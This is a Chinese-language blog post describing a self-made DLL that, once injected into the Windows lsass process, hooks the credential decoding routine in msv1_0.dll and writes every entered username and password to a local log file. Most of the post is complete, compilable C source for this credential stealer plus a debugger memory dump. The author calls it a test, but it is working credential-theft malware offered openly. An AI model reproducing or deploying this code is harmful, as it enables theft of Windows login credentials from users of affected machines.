注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

做了个测试用的记录登录密码的dll  

2014-03-12 16:02:13|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

用远程线程注入dll到系统lsass进程里,dll里面IAT hook了RtlRunDecodeUnicodeString,

在解密过后把帐号密码dump到c:\rdplogin.log文件里,该dll记录输入的帐号密码

不管对错都记录,如果要记录正确的帐号密码,再找个验证成功的地方hook做个标记

再输出即可。该dll在5分钟后自动卸载自己,主要是为了编译的时候避免占用。

// 测试用,注入到lsass进程,登录时输出密码dump到c:\rdplogin.log
// 编译 cl /LD rdplogin.c imagehlp.lib
#include <windows.h>
#include <imagehlp.h>
#include <stdio.h>
#define LOGFILE "c:\\rdplogin.log"

typedef int (WINAPI *PDECODE)(int k, void *u);

HINSTANCE hDll;

PDECODE pDecode;
BOOL ISHOOK=FALSE;
PULONG p;
FILE* f=NULL;

/*
msv1_0!LsaApLogonUserEx2+0xa94:
001b:77c49aaa ff153012c477    call    dword ptr [msv1_0!_imp__RtlRunDecodeUnicodeString (77c41230)]
kd> dd esp
00acf460  00000081 000a9dfc 00acfe6c 00000001

msv1_0!LsaApLogonUserEx2+0xa9a:
001b:77c49ab0 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
kd> db 000a9dfc
000a9dfc  0c 00 0c 00 28 9e 0a 00-41 00 64 00 6d 00 69 00  ....(...A.d.m.i.
000a9e0c  6e 00 69 00 73 00 74 00-72 00 61 00 74 00 6f 00  n.i.s.t.r.a.t.o.
000a9e1c  72 00 00 00 56 00 58 00-50 00 00 00 34 00 34 00  r...V.X.P...4.4.
000a9e2c  34 00 35 00 35 00 35 00-00 00 00 00 00 00 00 00  4.5.5.5.........
000a9e3c  00 00 00 00 0e 00 0c 00-91 01 0c 00 01 00 00 00  ................
000a9e4c  88 19 0b 00 f0 ea 46 74-c0 1a 0b 00 48 18 0b 00  ......Ft....H...
000a9e5c  09 00 00 00 a0 ee 0a 00-08 e2 fc 77 48 8b 0b 00  ...........wH...
000a9e6c  90 fb 0b 00 00 00 00 00-00 00 00 00 04 00 00 00  ................
*/

void WINAPI MyDecode(int k, void *u)
{
 pDecode(k, u);
 if (f!=NULL)
 {
  fwrite(u,0x60,1,f);
  fflush(f); // 强制输出否则要到缓存满才输出!
 }
 return;
}

void Output(char *fmt, ...)
{
   char Buff[1024];

   va_list arg_ptr;
   va_start(arg_ptr, fmt);
   vsprintf(Buff, fmt, arg_ptr);
   va_end(arg_ptr);
   OutputDebugString(Buff);
}

//int main(int argc, char *argv[])
int hook(void)
{
 HINSTANCE msv1_0,ntdll;
 PBYTE Addr;
 PULONG iat;
 ULONG count;
 int i;
 DWORD flOldProtect;

 msv1_0=LoadLibrary("msv1_0.dll");

 //ntdll=LoadLibrary("ntdll.dll");
 ntdll=GetModuleHandle("ntdll.dll");
  if (msv1_0==NULL || ntdll==NULL)
  {
  Output("LoadLibrary Failed!\n");
  return 0;
  }

 Addr=(PBYTE)GetProcAddress(ntdll,"RtlRunDecodeUnicodeString");
 if (Addr==NULL) return 0;
 Output("ntdll!RtlRunDecodeUnicodeString=0x%08X\n",Addr);

 iat=(PULONG)ImageDirectoryEntryToData(msv1_0,TRUE,IMAGE_DIRECTORY_ENTRY_IAT,&count);
 if (iat==NULL) return 0;
 Output("msv1_0.dll IAT=0x%08X\n",iat);

 p=iat;
 for (i=0 ; ((PULONG)*p!=(PULONG)Addr) && (i<count/4) ; i++ )
 {
  p++;
 }

 if (i < count/4)
 {
  Output("Found **OLD** RtlRunDecodeUnicodeString in msv1_0.dll Addr=0x%08X Value=0x%08X\n",p,*p);
 }
 else
 {
  Output("Not Found!\n");
  return 0;
 }
 
 VirtualProtect((LPVOID)p,4,PAGE_READWRITE,&flOldProtect);


 pDecode = (PDECODE)*p;
 (PDECODE)*p = MyDecode;
 VirtualProtect((LPVOID)p,4,flOldProtect,&flOldProtect);

 ISHOOK=TRUE;
 
 Output("Found **NEW** RtlRunDecodeUnicodeString in msv1_0.dll Addr=0x%08X Value=0x%08X\n",p,*p);

 //FreeLibrary(msv1_0);
 //FreeLibrary(ntdll);
 f=fopen(LOGFILE,"a");

 return 0;
}

void unhook(void)
{
 DWORD flOldProtect;

 VirtualProtect((LPVOID)p,4,PAGE_READWRITE,&flOldProtect);
 (PDECODE)*p=pDecode;
 VirtualProtect((LPVOID)p,4,flOldProtect,&flOldProtect);

 if (f!=NULL)
 {
  fclose(f);
  f=NULL;
 }

 ISHOOK=FALSE;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
 OutputDebugString("[*] Sleep 60s ...\n");
 Sleep(5*60000); // 测试用,5分钟内卸载,否则注入后卸载不掉!

 OutputDebugString("[*] FreeLibraryAndExitThread\n");
 FreeLibraryAndExitThread(hDll,0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad)
{
 HANDLE hThread;
 DWORD dwThreadId;

 hDll=hinstDll;

   if (fdwReason == DLL_PROCESS_ATTACH)
 {
  if (!ISHOOK)
  {
   hook();


   hThread = CreateThread(NULL, 0, ClientThread, NULL, 0, &dwThreadId);
   if (hThread == NULL)
   {
    return TRUE;
   }
   CloseHandle(hThread);

  }
   }

   if (fdwReason == DLL_PROCESS_DETACH)
 {
  if (ISHOOK)
  {
   unhook();
  }
   }

   return(TRUE);
}

  评论这张
 
阅读(277)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017